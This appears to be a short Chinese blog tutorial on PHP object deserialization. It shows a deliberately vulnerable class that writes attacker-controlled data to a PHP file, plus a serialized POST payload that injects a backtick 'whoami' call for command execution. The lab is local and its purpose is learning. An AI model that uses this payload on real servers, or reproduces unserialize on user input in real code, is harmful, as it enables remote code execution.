PHP反序列化漏洞初体验

1、体验代码。

<?php
class A{
    var $a = 'test';
    function __destruct()
    {
        // TODO: Implement __destruct() method.
        $fp = fopen("D:\phpStudy\PHPTutorial\WWW\hello.php","w"); //以写入的模式打开target.php文件
        fputs($fp,$this->a);    //写入内容
        fclose($fp);
    }
}
//$b = new A();
//echo serialize($b);   12、13两行代码是为了得到序列化数据,构造后进行反序列化操作。
$obj = unserialize($_POST['obj']);
require "D:\phpStudy\PHPTutorial\WWW\hello.php";
?>

在这里插入图片描述
2、获取到序列化数据后,先写入123测试一下。
在这里插入图片描述在这里插入图片描述

3、写入phpinfo。(注意写入内容与其长度对应。)
phpinfo成功写入。
在这里插入图片描述在这里插入图片描述

4、尝试命令执行。
obj=O:1:“A”:1:{s:1:“a”;s:22:"<?php echo `whoami`;?>";}
在这里插入图片描述
在这里插入图片描述

发布了48 篇原创文章 · 获赞 22 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lhh134/article/details/104096604